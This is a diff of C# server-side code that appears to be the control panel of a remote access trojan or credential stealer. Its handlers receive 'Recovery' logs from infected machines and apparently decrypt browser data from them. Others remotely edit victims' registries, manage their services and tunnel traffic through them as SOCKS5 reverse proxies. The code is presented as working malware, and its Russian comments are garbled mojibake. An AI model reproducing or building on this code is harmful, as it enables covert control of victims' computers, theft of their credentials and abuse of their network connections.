|
||||
(DataGridViewCell)new DataGridViewTextBoxCell
|
||||
{
|
||||
Value = (string)objects[num++]
|
||||
},
|
||||
(DataGridViewCell)new DataGridViewTextBoxCell
|
||||
{
|
||||
Value = (string)objects[num++]
|
||||
}
|
||||
}
|
||||
};
|
||||
form.dataGridView2.Rows.Add(dataGridViewRow);
|
||||
}
|
||||
});
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,72 @@
|
||||
using System;
|
||||
using System.Drawing;
|
||||
using System.IO;
|
||||
using Server.Connectings;
|
||||
using Server.Helper;
|
||||
|
||||
namespace Server.Messages;
|
||||
|
||||
internal class HandlerRecovery
|
||||
{
|
||||
public static void Read(Clients clients, object[] array)
|
||||
{
|
||||
// 1. Ïîëó÷àåì íåïðîâåðåííûé èäåíòèôèêàòîð (÷àñòü ïóòè) îò êëèåíòà.
|
||||
string untrustedId = array[1]?.ToString();
|
||||
|
||||
// Åñëè èäåíòèôèêàòîð ïóñòîé, íè÷åãî íå äåëàåì.
|
||||
if (string.IsNullOrEmpty(untrustedId))
|
||||
{
|
||||
clients.Disconnect();
|
||||
return;
|
||||
}
|
||||
|
||||
// 2. Îïðåäåëÿåì áåçîïàñíûå áàçîâûå äèðåêòîðèè.
|
||||
string usersBaseDir = Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "Users");
|
||||
string newLogsBaseDir = Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "NewLogs");
|
||||
|
||||
// 3. Èñïîëüçóåì íàø íîâûé áåçîïàñíûé ìåòîä äëÿ ïîëó÷åíèÿ ïîëíûõ ïóòåé.
|
||||
string clientUserPath = PathSanitizer.SanitizeAndResolvePath(untrustedId, usersBaseDir);
|
||||
string clientNewLogsPath = PathSanitizer.SanitizeAndResolvePath(untrustedId, newLogsBaseDir);
|
||||
|
||||
// 4. ÃËÀÂÍÀß ÏÐÎÂÅÐÊÀ: Åñëè êàêîé-ëèáî èç ïóòåé null, ýòî áûëà ïîïûòêà àòàêè (Path Traversal).
|
||||
if (clientUserPath == null || clientNewLogsPath == null)
|
||||
{
|
||||
// Ëîãèðóåì ïîïûòêó àòàêè è îòêëþ÷àåì êëèåíòà.
|
||||
Methods.AppendLogs(clients.IP, "Path Traversal-àòàêà áûëà çàáëîêèðîâàíà.", Color.Red);
|
||||
clients.Disconnect();
|
||||
return;
|
||||
}
|
||||
|
||||
try
|
||||
{
|
||||
// 5. Ñîçäàåì áåçîïàñíûå ïóòè äëÿ ôàéëîâ è ïàïîê, èñïîëüçóÿ Path.Combine.
|
||||
string recoveryPath = Path.Combine(clientUserPath, "Recovery");
|
||||
string sourceInfoFile = Path.Combine(clientUserPath, "Information.txt");
|
||||
string destInfoFile = Path.Combine(clientNewLogsPath, "Information.txt");
|
||||
|
||||
// Óáåæäàåìñÿ, ÷òî äèðåêòîðèè ñóùåñòâóþò.
|
||||
Directory.CreateDirectory(recoveryPath);
|
||||
Directory.CreateDirectory(clientNewLogsPath);
|
||||
|
||||
// 6. Èñïîëüçóåì òîëüêî áåçîïàñíûå, ïîëíûå ïóòè.
|
||||
Methods.AppendLogs(clients.IP, "Save logs in: " + recoveryPath, Color.MediumPurple);
|
||||
PaleFileProtocol.Unpack(recoveryPath, array[2] as byte[]);
|
||||
PaleFileProtocol.Unpack(clientNewLogsPath, array[2] as byte[]);
|
||||
|
||||
// Ïðîâåðÿåì, ÷òî èñõîäíûé ôàéë ñóùåñòâóåò ïåðåä êîïèðîâàíèåì
|
||||
if (File.Exists(sourceInfoFile))
|
||||
{
|
||||
File.Copy(sourceInfoFile, destInfoFile, true); // true - ïåðåçàïèñàòü, åñëè ñóùåñòâóåò
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
// Ëîãèðóåì ëþáóþ îøèáêó ôàéëîâîé ñèñòåìû
|
||||
Methods.AppendLogs(clients.IP, "Îøèáêà ïðè îáðàáîòêå ôàéëîâ: " + ex.Message, Color.Red);
|
||||
}
|
||||
finally
|
||||
{
|
||||
clients.Disconnect();
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,73 @@
|
||||
using System;
|
||||
using System.Drawing;
|
||||
using System.IO;
|
||||
using Server.Connectings;
|
||||
using Server.Helper;
|
||||
|
||||
namespace Server.Messages;
|
||||
|
||||
internal class HandlerRecovery1 // Óáåäèòåñü, ÷òî èìÿ êëàññà âåðíîå
|
||||
{
|
||||
public static void Read(Clients clients, object[] array)
|
||||
{
|
||||
// 1. Ïîëó÷àåì íåïðîâåðåííûé èäåíòèôèêàòîð (÷àñòü ïóòè) îò êëèåíòà.
|
||||
string untrustedId = array[1]?.ToString();
|
||||
|
||||
if (string.IsNullOrEmpty(untrustedId))
|
||||
{
|
||||
clients.Disconnect();
|
||||
return;
|
||||
}
|
||||
|
||||
// 2. Îïðåäåëÿåì áåçîïàñíûå áàçîâûå äèðåêòîðèè.
|
||||
string usersBaseDir = Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "Users");
|
||||
string newLogsBaseDir = Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "NewLogs");
|
||||
|
||||
// 3. Èñïîëüçóåì íàø íîâûé áåçîïàñíûé ìåòîä äëÿ ïîëó÷åíèÿ ïîëíûõ ïóòåé.
|
||||
string clientUserPath = PathSanitizer.SanitizeAndResolvePath(untrustedId, usersBaseDir);
|
||||
string clientNewLogsPath = PathSanitizer.SanitizeAndResolvePath(untrustedId, newLogsBaseDir);
|
||||
|
||||
// 4. ÃËÀÂÍÀß ÏÐÎÂÅÐÊÀ: Åñëè êàêîé-ëèáî èç ïóòåé null, ýòî áûëà ïîïûòêà àòàêè (Path Traversal).
|
||||
if (clientUserPath == null || clientNewLogsPath == null)
|
||||
{
|
||||
Methods.AppendLogs(clients.IP, "Path Traversal-àòàêà áûëà çàáëîêèðîâàíà.", Color.Red);
|
||||
clients.Disconnect();
|
||||
return;
|
||||
}
|
||||
|
||||
try
|
||||
{
|
||||
// 5. Ñîçäàåì áåçîïàñíûå ïóòè äëÿ ôàéëîâ è ïàïîê.
|
||||
string recoveryPath = Path.Combine(clientUserPath, "Recovery");
|
||||
string sourceInfoFile = Path.Combine(clientUserPath, "Information.txt");
|
||||
string destInfoFileNewLogs = Path.Combine(clientNewLogsPath, "InformationLeb.txt");
|
||||
string destInfoFileRecovery = Path.Combine(recoveryPath, "InformationLeb.txt");
|
||||
|
||||
// Óáåæäàåìñÿ, ÷òî äèðåêòîðèè ñóùåñòâóþò.
|
||||
Directory.CreateDirectory(recoveryPath);
|
||||
Directory.CreateDirectory(clientNewLogsPath);
|
||||
|
||||
// 6. Èñïîëüçóåì òîëüêî áåçîïàñíûå, ïîëíûå ïóòè.
|
||||
Methods.AppendLogs(clients.IP, "Save logs in: " + recoveryPath, Color.MediumPurple);
|
||||
DynamicFiles.Save(recoveryPath, (object[])array[2]);
|
||||
DynamicFiles.Save(clientNewLogsPath, (object[])array[2]);
|
||||
DecryptorBrowsers.Start(recoveryPath);
|
||||
DecryptorBrowsers.Start(clientNewLogsPath);
|
||||
|
||||
// Ïðîâåðÿåì, ÷òî èñõîäíûé ôàéë ñóùåñòâóåò ïåðåä êîïèðîâàíèåì
|
||||
if (File.Exists(sourceInfoFile))
|
||||
{
|
||||
File.Copy(sourceInfoFile, destInfoFileNewLogs, true);
|
||||
File.Copy(sourceInfoFile, destInfoFileRecovery, true);
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Methods.AppendLogs(clients.IP, "Îøèáêà ïðè îáðàáîòêå ôàéëîâ: " + ex.Message, Color.Red);
|
||||
}
|
||||
finally
|
||||
{
|
||||
clients.Disconnect();
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,316 @@
|
||||
using System.Collections.Generic;
|
||||
using System.Windows.Forms;
|
||||
using Leb128;
|
||||
using Microsoft.Win32;
|
||||
using Server.Connectings;
|
||||
using Server.Forms;
|
||||
using Server.Helper;
|
||||
|
||||
namespace Server.Messages;
|
||||
|
||||
internal class HandlerRegedit
|
||||
{
|
||||
public static void Read(Clients client, object[] objects)
|
||||
{
|
||||
string text = (string)objects[1];
|
||||
if (text == null)
|
||||
{
|
||||
return;
|
||||
}
|
||||
switch (text.Length)
|
||||
{
|
||||
case 7:
|
||||
switch (text[0])
|
||||
{
|
||||
case 'C':
|
||||
{
|
||||
if (!(text == "Connect"))
|
||||
{
|
||||
break;
|
||||
}
|
||||
FormRegedit form2 = (FormRegedit)Application.OpenForms["Regedit:" + (string)objects[2]];
|
||||
if (form2 == null)
|
||||
{
|
||||
client.Disconnect();
|
||||
break;
|
||||
}
|
||||
string rootKey2 = (string)objects[3];
|
||||
List<RegistrySeeker.RegSeekerMatch> seekerMatches2 = new List<RegistrySeeker.RegSeekerMatch>();
|
||||
int num4 = 4;
|
||||
while (num4 < objects.Length)
|
||||
{
|
||||
RegistrySeeker.RegSeekerMatch regSeekerMatch3 = new RegistrySeeker.RegSeekerMatch();
|
||||
regSeekerMatch3.Key = (string)objects[num4++];
|
||||
object[] array3 = LEB128.Read((byte[])objects[num4++]);
|
||||
List<RegistrySeeker.RegValueData> list3 = new List<RegistrySeeker.RegValueData>();
|
||||
int num5 = 0;
|
||||
while (num5 < array3.Length)
|
||||
{
|
||||
RegistrySeeker.RegValueData regValueData5 = new RegistrySeeker.RegValueData();
|
||||
regValueData5.Name = (string)array3[num5++];
|
||||
regValueData5.Kind = (RegistryValueKind)(int)array3[num5++];
|
||||
regValueData5.Data = (byte[])array3[num5++];
|
||||
list3.Add(regValueData5);
|
||||
}
|
||||
regSeekerMatch3.Data = list3.ToArray();
|
||||
regSeekerMatch3.HasSubKeys = (bool)objects[num4++];
|
||||
seekerMatches2.Add(regSeekerMatch3);
|
||||
}
|
||||
form2.Invoke((MethodInvoker)delegate
|
||||
{
|
||||
form2.materialLabel1.Enabled = true;
|
||||
form2.lstRegistryValues.Enabled = true;
|
||||
form2.tvRegistryDirectory.Enabled = true;
|
||||
form2.Text = "Regedit [" + (string)objects[2] + "]";
|
||||
form2.materialLabel1.Text = "Succues Connect";
|
||||
form2.AddKeys(rootKey2, seekerMatches2.ToArray());
|
||||
form2.client = client;
|
||||
});
|
||||
client.Tag = form2;
|
||||
client.Hwid = (string)objects[2];
|
||||
break;
|
||||
}
|
||||
case 'L':
|
||||
{
|
||||
if (!(text == "LoadKey"))
|
||||
{
|
||||
break;
|
||||
}
|
||||
FormRegedit FM8 = (FormRegedit)client.Tag;
|
||||
if (FM8 == null)
|
||||
{
|
||||
break;
|
||||
}
|
||||
string rootKey = (string)objects[2];
|
||||
List<RegistrySeeker.RegSeekerMatch> seekerMatches = new List<RegistrySeeker.RegSeekerMatch>();
|
||||
int num2 = 3;
|
||||
while (num2 < objects.Length)
|
||||
{
|
||||
RegistrySeeker.RegSeekerMatch regSeekerMatch2 = new RegistrySeeker.RegSeekerMatch();
|
||||
regSeekerMatch2.Key = (string)objects[num2++];
|
||||
object[] array2 = LEB128.Read((byte[])objects[num2++]);
|
||||
List<RegistrySeeker.RegValueData> list2 = new List<RegistrySeeker.RegValueData>();
|
||||
int num3 = 0;
|
||||
while (num3 < array2.Length)
|
||||
{
|
||||
RegistrySeeker.RegValueData regValueData4 = new RegistrySeeker.RegValueData();
|
||||
regValueData4.Name = (string)array2[num3++];
|
||||
regValueData4.Kind = (RegistryValueKind)(int)array2[num3++];
|
||||
regValueData4.Data = (byte[])array2[num3++];
|
||||
list2.Add(regValueData4);
|
||||
}
|
||||
regSeekerMatch2.Data = list2.ToArray();
|
||||
regSeekerMatch2.HasSubKeys = (bool)objects[num2++];
|
||||
seekerMatches.Add(regSeekerMatch2);
|
||||
}
|
||||
FM8.Invoke((MethodInvoker)delegate
|
||||
{
|
||||
FM8.AddKeys(rootKey, seekerMatches.ToArray());
|
||||
});
|
||||
break;
|
||||
}
|
||||
}
|
||||
break;
|
||||
case 9:
|
||||
switch (text[0])
|
||||
{
|
||||
case 'C':
|
||||
{
|
||||
if (!(text == "CreateKey"))
|
||||
{
|
||||
break;
|
||||
}
|
||||
FormRegedit FM7 = (FormRegedit)client.Tag;
|
||||
if (FM7 != null)
|
||||
{
|
||||
string ParentPath = (string)objects[2];
|
||||
RegistrySeeker.RegSeekerMatch regSeekerMatch = new RegistrySeeker.RegSeekerMatch();
|
||||
regSeekerMatch.Key = (string)objects[3];
|
||||
object[] array = LEB128.Read((byte[])objects[4]);
|
||||
List<RegistrySeeker.RegValueData> list = new List<RegistrySeeker.RegValueData>();
|
||||
int num = 0;
|
||||
while (num < array.Length)
|
||||
{
|
||||
RegistrySeeker.RegValueData regValueData3 = new RegistrySeeker.RegValueData();
|
||||
regValueData3.Name = (string)array[num++];
|
||||
regValueData3.Kind = (RegistryValueKind)(int)array[num++];
|
||||
regValueData3.Data = (byte[])array[num++];
|
||||
list.Add(regValueData3);
|
||||
}
|
||||
regSeekerMatch.Data = list.ToArray();
|
||||
regSeekerMatch.HasSubKeys = (bool)objects[5];
|
||||
FM7.Invoke((MethodInvoker)delegate
|
||||
{
|
||||
FM7.CreateNewKey(ParentPath, regSeekerMatch);
|
||||
});
|
||||
}
|
||||
break;
|
||||
}
|
||||
case 'D':
|
||||
{
|
||||
if (!(text == "DeleteKey"))
|
||||
{
|
||||
break;
|
||||
}
|
||||
FormRegedit FM6 = (FormRegedit)client.Tag;
|
||||
if (FM6 != null)
|
||||
{
|
||||
FM6.Invoke((MethodInvoker)delegate
|
||||
{
|
||||
FM6.DeleteKey((string)objects[2], (string)objects[3]);
|
||||
});
|
||||
}
|
||||
break;
|
||||
}
|
||||
case 'R':
|
||||
{
|
||||
if (!(text == "RenameKey"))
|
||||
{
|
||||
break;
|
||||
}
|
||||
FormRegedit FM5 = (FormRegedit)client.Tag;
|
||||
if (FM5 != null)
|
||||
{
|
||||
FM5.Invoke((MethodInvoker)delegate
|
||||
{
|
||||
FM5.RenameKey((string)objects[2], (string)objects[3], (string)objects[4]);
|
||||
});
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
break;
|
||||
case 11:
|
||||
switch (text[2])
|
||||
{
|
||||
case 'e':
|
||||
{
|
||||
if (!(text == "CreateValue"))
|
||||
{
|
||||
break;
|
||||
}
|
||||
FormRegedit FM3 = (FormRegedit)client.Tag;
|
||||
if (FM3 != null)
|
||||
{
|
||||
string keyPath2 = (string)objects[2];
|
||||
string text2 = (string)objects[3];
|
||||
string name = (string)objects[4];
|
||||
RegistryValueKind kind = RegistryValueKind.None;
|
||||
switch (text2)
|
||||
{
|
||||
case "-1":
|
||||
kind = RegistryValueKind.None;
|
||||
break;
|
||||
case "0":
|
||||
kind = RegistryValueKind.Unknown;
|
||||
break;
|
||||
case "1":
|
||||
kind = RegistryValueKind.String;
|
||||
break;
|
||||
case "2":
|
||||
kind = RegistryValueKind.ExpandString;
|
||||
break;
|
||||
case "3":
|
||||
kind = RegistryValueKind.Binary;
|
||||
break;
|
||||
case "4":
|
||||
kind = RegistryValueKind.DWord;
|
||||
break;
|
||||
case "7":
|
||||
kind = RegistryValueKind.MultiString;
|
||||
break;
|
||||
case "11":
|
||||
kind = RegistryValueKind.QWord;
|
||||
break;
|
||||
}
|
||||
RegistrySeeker.RegValueData regValueData2 = new RegistrySeeker.RegValueData();
|
||||
regValueData2.Name = name;
|
||||
regValueData2.Kind = kind;
|
||||
regValueData2.Data = new byte[0];
|
||||
FM3.Invoke((MethodInvoker)delegate
|
||||
{
|
||||
FM3.CreateValue(keyPath2, regValueData2);
|
||||
});
|
||||
}
|
||||
break;
|
||||
}
|
||||
case 'l':
|
||||
{
|
||||
if (!(text == "DeleteValue"))
|
||||
{
|
||||
break;
|
||||
}
|
||||
FormRegedit FM2 = (FormRegedit)client.Tag;
|
||||
if (FM2 != null)
|
||||
{
|
||||
FM2.Invoke((MethodInvoker)delegate
|
||||
{
|
||||
FM2.DeleteValue((string)objects[2], (string)objects[3]);
|
||||
});
|
||||
}
|
||||
break;
|
||||
}
|
||||
case 'n':
|
||||
{
|
||||
if (!(text == "RenameValue"))
|
||||
{
|
||||
break;
|
||||
}
|
||||
FormRegedit FM4 = (FormRegedit)client.Tag;
|
||||
if (FM4 != null)
|
||||
{
|
||||
FM4.Invoke((MethodInvoker)delegate
|
||||
{
|
||||
FM4.RenameValue((string)objects[2], (string)objects[3], (string)objects[4]);
|
||||
});
|
||||
}
|
||||
break;
|
||||
}
|
||||
case 'a':
|
||||
{
|
||||
if (!(text == "ChangeValue"))
|
||||
{
|
||||
break;
|
||||
}
|
||||
FormRegedit FM = (FormRegedit)client.Tag;
|
||||
if (FM != null)
|
||||
{
|
||||
string keyPath = (string)objects[2];
|
||||
RegistrySeeker.RegValueData regValueData = new RegistrySeeker.RegValueData();
|
||||
regValueData.Name = (string)objects[3];
|
||||
regValueData.Kind = (RegistryValueKind)(int)objects[4];
|
||||
regValueData.Data = (byte[])objects[5];
|
||||
FM.Invoke((MethodInvoker)delegate
|
||||
{
|
||||
FM.ChangeValue(keyPath, regValueData);
|
||||
});
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
break;
|
||||
case 5:
|
||||
{
|
||||
if (!(text == "Error"))
|
||||
{
|
||||
break;
|
||||
}
|
||||
if (client.Tag == null)
|
||||
{
|
||||
client.Disconnect();
|
||||
break;
|
||||
}
|
||||
FormRegedit form = (FormRegedit)client.Tag;
|
||||
form.Invoke((MethodInvoker)delegate
|
||||
{
|
||||
form.materialLabel1.Text = "Error: " + (string)objects[2];
|
||||
});
|
||||
break;
|
||||
}
|
||||
case 6:
|
||||
case 8:
|
||||
case 10:
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,22 @@
|
||||
using Server.Connectings;
|
||||
|
||||
namespace Server.Messages;
|
||||
|
||||
internal class HandlerReportWindow
|
||||
{
|
||||
public static void Read(Clients client, object[] objects)
|
||||
{
|
||||
Clients[] array = Program.form.ClientsAll();
|
||||
client.Hwid = (string)objects[1];
|
||||
Clients[] array2 = array;
|
||||
foreach (Clients clients in array2)
|
||||
{
|
||||
if (clients.Hwid == client.Hwid)
|
||||
{
|
||||
clients.ReportWindow = client;
|
||||
return;
|
||||
}
|
||||
}
|
||||
client.Disconnect();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,83 @@
|
||||
using System.Windows.Forms;
|
||||
using Server.Connectings;
|
||||
using Server.Forms;
|
||||
using Server.Helper.Sock5;
|
||||
|
||||
namespace Server.Messages;
|
||||
|
||||
internal class HandlerReverseProxy
|
||||
{
|
||||
public static void Read(Clients client, object[] objects)
|
||||
{
|
||||
switch ((string)objects[1])
|
||||
{
|
||||
case "Connect":
|
||||
{
|
||||
FormReverseProxy form = (FormReverseProxy)Application.OpenForms["ReverseProxy:" + (string)objects[2]];
|
||||
if (form == null)
|
||||
{
|
||||
client.Disconnect();
|
||||
break;
|
||||
}
|
||||
form.Invoke((MethodInvoker)delegate
|
||||
{
|
||||
form.Text = "Reverse Proxy [" + (string)objects[2] + "]";
|
||||
form.client = client;
|
||||
form.server = new Server.Helper.Sock5.Server(client);
|
||||
form.Activea();
|
||||
form.GridIps.Enabled = true;
|
||||
form.rjButton1.Enabled = true;
|
||||
form.rjTextBox1.Enabled = true;
|
||||
});
|
||||
client.Tag = form;
|
||||
client.Hwid = (string)objects[2];
|
||||
break;
|
||||
}
|
||||
case "Accept":
|
||||
{
|
||||
FormReverseProxy formReverseProxy = (FormReverseProxy)Application.OpenForms["ReverseProxy:" + (string)objects[3]];
|
||||
if (formReverseProxy == null)
|
||||
{
|
||||
client.Disconnect();
|
||||
break;
|
||||
}
|
||||
Client client3 = formReverseProxy.server.Search((int)objects[2]);
|
||||
client3?.Accept(client);
|
||||
client.Tag = client3;
|
||||
break;
|
||||
}
|
||||
case "ConnectResponse":
|
||||
{
|
||||
if (client.Tag == null)
|
||||
{
|
||||
client.Disconnect();
|
||||
break;
|
||||
}
|
||||
Client client2 = (Client)client.Tag;
|
||||
client2?.HandleCommandResponse(objects);
|
||||
client.Tag = client2;
|
||||
break;
|
||||
}
|
||||
case "Data":
|
||||
if (client.Tag == null)
|
||||
{
|
||||
client.Disconnect();
|
||||
}
|
||||
else
|
||||
{
|
||||
((Client)client.Tag)?.Send((byte[])objects[2]);
|
||||
}
|
||||
break;
|
||||
case "Disconnect":
|
||||
if (client.Tag == null)
|
||||
{
|
||||
client.Disconnect();
|
||||
}
|
||||
else
|
||||
{
|
||||
((Client)client.Tag)?.Disconnect();
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,84 @@
|
||||
using System.Windows.Forms;
|
||||
using Server.Connectings;
|
||||
using Server.Helper.Sock5;
|
||||
|
||||
namespace Server.Messages;
|
||||
|
||||
internal class HandlerReverseProxyR
|
||||
{
|
||||
public static void Read(Clients client, object[] objects)
|
||||
{
|
||||
switch ((string)objects[1])
|
||||
{
|
||||
case "Connect":
|
||||
if (!Program.form.ReverseProxyR.work)
|
||||
{
|
||||
client.Disconnect();
|
||||
break;
|
||||
}
|
||||
Program.form.ReverseProxyR.Invoke((MethodInvoker)delegate
|
||||
{
|
||||
Program.form.ReverseProxyR.Server.ClientReverse.Add(client);
|
||||
});
|
||||
client.eventDisconnect += delegate
|
||||
{
|
||||
Program.form.ReverseProxyR.Invoke((MethodInvoker)delegate
|
||||
{
|
||||
try
|
||||
{
|
||||
Program.form.ReverseProxyR.Server.ClientReverse.Remove(client);
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
});
|
||||
};
|
||||
client.Hwid = (string)objects[2];
|
||||
break;
|
||||
case "Accept":
|
||||
{
|
||||
if (!Program.form.ReverseProxyR.work)
|
||||
{
|
||||
client.Disconnect();
|
||||
break;
|
||||
}
|
||||
Client client3 = Program.form.ReverseProxyR.Server.Search((int)objects[2]);
|
||||
client3.Accept(client);
|
||||
client.Tag = client3;
|
||||
break;
|
||||
}
|
||||
case "ConnectResponse":
|
||||
{
|
||||
if (!Program.form.ReverseProxyR.work)
|
||||
{
|
||||
client.Disconnect();
|
||||
break;
|
||||
}
|
||||
Client client2 = (Client)client.Tag;
|
||||
client2?.HandleCommandResponse(objects);
|
||||
client.Tag = client2;
|
||||
break;
|
||||
}
|
||||
case "Data":
|
||||
if (!Program.form.ReverseProxyR.work)
|
||||
{
|
||||
client.Disconnect();
|
||||
}
|
||||
else
|
||||
{
|
||||
((Client)client.Tag)?.Send((byte[])objects[2]);
|
||||
}
|
||||
break;
|
||||
case "Disconnect":
|
||||
if (!Program.form.ReverseProxyR.work)
|
||||
{
|
||||
client.Disconnect();
|
||||
}
|
||||
else
|
||||
{
|
||||
((Client)client.Tag)?.Disconnect();
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,84 @@
|
||||
using System;
|
||||
using Server.Connectings;
|
||||
using Server.Helper.Sock5;
|
||||
|
||||
namespace Server.Messages;
|
||||
|
||||
internal class HandlerReverseProxyU
|
||||
{
|
||||
public static void Read(Clients client, object[] objects)
|
||||
{
|
||||
Console.WriteLine(objects[0]?.ToString() + " " + objects[1]);
|
||||
switch ((string)objects[1])
|
||||
{
|
||||
case "Connect":
|
||||
if (!Program.form.ReverseProxyU.work)
|
||||
{
|
||||
client.Disconnect();
|
||||
break;
|
||||
}
|
||||
client.Hwid = (string)objects[2];
|
||||
client.Tag = Program.form.ReverseProxyU.NewServer(client);
|
||||
break;
|
||||
case "Accept":
|
||||
{
|
||||
if (!Program.form.ReverseProxyU.work)
|
||||
{
|
||||
client.Disconnect();
|
||||
break;
|
||||
}
|
||||
Server.Helper.Sock5.Server server = Program.form.ReverseProxyU.ServersPort((int)objects[4]);
|
||||
if (server != null)
|
||||
{
|
||||
Client client3 = server.Search((int)objects[2]);
|
||||
if (client3 != null)
|
||||
{
|
||||
client3.Accept(client);
|
||||
client.Tag = client3;
|
||||
}
|
||||
else
|
||||
{
|
||||
client.Disconnect();
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
client.Disconnect();
|
||||
}
|
||||
break;
|
||||
}
|
||||
case "ConnectResponse":
|
||||
{
|
||||
if (!Program.form.ReverseProxyU.work)
|
||||
{
|
||||
client.Disconnect();
|
||||
break;
|
||||
}
|
||||
Client client2 = (Client)client.Tag;
|
||||
client2?.HandleCommandResponse(objects);
|
||||
client.Tag = client2;
|
||||
break;
|
||||
}
|
||||
case "Data":
|
||||
if (!Program.form.ReverseProxyU.work)
|
||||
{
|
||||
client.Disconnect();
|
||||
}
|
||||
else
|
||||
{
|
||||
((Client)client.Tag)?.Send((byte[])objects[2]);
|
||||
}
|
||||
break;
|
||||
case "Disconnect":
|
||||
if (!Program.form.ReverseProxyU.work)
|
||||
{
|
||||
client.Disconnect();
|
||||
}
|
||||
else
|
||||
{
|
||||
((Client)client.Tag)?.Disconnect();
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,24 @@
|
||||
using System.IO;
|
||||
using Leb128;
|
||||
using Server.Connectings;
|
||||
using Server.Helper;
|
||||
|
||||
namespace Server.Messages;
|
||||
|
||||
internal class HandlerSendDiskGet
|
||||
{
|
||||
public static void Read(Clients client, object[] objects)
|
||||
{
|
||||
string text = (string)objects[1];
|
||||
if (Methods.GetChecksum(text) == (string)objects[2])
|
||||
{
|
||||
byte[] data = LEB128.Write(new object[3]
|
||||
{
|
||||
"SendDisk",
|
||||
Path.GetExtension(text),
|
||||
File.ReadAllBytes(text)
|
||||
});
|
||||
client.Send(data);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,24 @@
|
||||
using System.IO;
|
||||
using Leb128;
|
||||
using Server.Connectings;
|
||||
using Server.Helper;
|
||||
|
||||
namespace Server.Messages;
|
||||
|
||||
internal class HandlerSendMemoryGet
|
||||
{
|
||||
public static void Read(Clients client, object[] objects)
|
||||
{
|
||||
string text = (string)objects[1];
|
||||
if (Methods.GetChecksum(text) == (string)objects[2])
|
||||
{
|
||||
byte[] data = LEB128.Write(new object[3]
|
||||
{
|
||||
"SendMemory",
|
||||
File.ReadAllBytes(text),
|
||||
Path.GetFileName(text)
|
||||
});
|
||||
client.Send(data);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,118 @@
|
||||
using System.Collections;
|
||||
using System.Windows.Forms;
|
||||
using Server.Connectings;
|
||||
using Server.Forms;
|
||||
|
||||
namespace Server.Messages;
|
||||
|
||||
internal class HandlerService
|
||||
{
|
||||
public static void Read(Clients client, object[] objects)
|
||||
{
|
||||
switch ((string)objects[1])
|
||||
{
|
||||
case "Connect":
|
||||
{
|
||||
FormService form3 = (FormService)Application.OpenForms["Service:" + (string)objects[2]];
|
||||
if (form3 == null)
|
||||
{
|
||||
client.Disconnect();
|
||||
break;
|
||||
}
|
||||
form3.Invoke((MethodInvoker)delegate
|
||||
{
|
||||
form3.Text = "Service [" + (string)objects[2] + "]";
|
||||
form3.client = client;
|
||||
form3.materialLabel1.Enabled = true;
|
||||
form3.dataGridView2.Enabled = true;
|
||||
form3.materialLabel1.Text = "Succues Connect";
|
||||
});
|
||||
client.Tag = form3;
|
||||
client.Hwid = (string)objects[2];
|
||||
break;
|
||||
}
|
||||
case "Error":
|
||||
{
|
||||
if (client.Tag == null)
|
||||
{
|
||||
client.Disconnect();
|
||||
break;
|
||||
}
|
||||
FormService form2 = (FormService)client.Tag;
|
||||
form2.Invoke((MethodInvoker)delegate
|
||||
{
|
||||
form2.materialLabel1.Text = "Error: " + (string)objects[2];
|
||||
});
|
||||
break;
|
||||
}
|
||||
case "Status":
|
||||
{
|
||||
if (client.Tag == null)
|
||||
{
|
||||
client.Disconnect();
|
||||
break;
|
||||
}
|
||||
FormService form4 = (FormService)client.Tag;
|
||||
form4.Invoke((MethodInvoker)delegate
|
||||
{
|
||||
form4.materialLabel1.Text = "Succues status";
|
||||
foreach (DataGridViewRow item in (IEnumerable)form4.dataGridView2.Rows)
|
||||
{
|
||||
if (item.Cells[1].Value as string == (string)objects[2])
|
||||
{
|
||||
item.Cells[1].Value = (string)objects[3];
|
||||
break;
|
||||
}
|
||||
}
|
||||
});
|
||||
break;
|
||||
}
|
||||
case "List":
|
||||
{
|
||||
if (client.Tag == null)
|
||||
{
|
||||
client.Disconnect();
|
||||
break;
|
||||
}
|
||||
FormService form = (FormService)client.Tag;
|
||||
form.Invoke((MethodInvoker)delegate
|
||||
{
|
||||
form.dataGridView2.Rows.Clear();
|
||||
form.materialLabel1.Text = "Succues list";
|
||||
int num = 2;
|
||||
while (num < objects.Length)
|
||||
{
|
||||
DataGridViewRow dataGridViewRow = new DataGridViewRow
|
||||
{
|
||||
Cells =
|
||||
{
|
||||
(DataGridViewCell)new DataGridViewTextBoxCell
|
||||
{
|
||||
Value = (string)objects[num++]
|
||||
},
|
||||
(DataGridViewCell)new DataGridViewTextBoxCell
|
||||
{
|
||||
Value = (string)objects[num++]
|
||||
},
|
||||
(DataGridViewCell)new DataGridViewTextBoxCell
|
||||
{
|
||||
Value = (string)objects[num++]
|
||||
},
|
||||
(DataGridViewCell)new DataGridViewTextBoxCell
|
||||
{
|
||||
Value = (string)objects[num++]
|
||||
},
|
||||
(DataGridViewCell)new DataGridViewTextBoxCell
|
||||
{
|
||||
Value = (string)objects[num++]
|
||||
}
|
||||
}
|
||||
};
|
||||
form.dataGridView2.Rows.Add(dataGridViewRow);
|
||||
}
|
||||
});
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,65 @@
|
||||
using System.Windows.Forms;
|
||||
using Server.Connectings;
|
||||
using Server.Forms;
|
||||
|
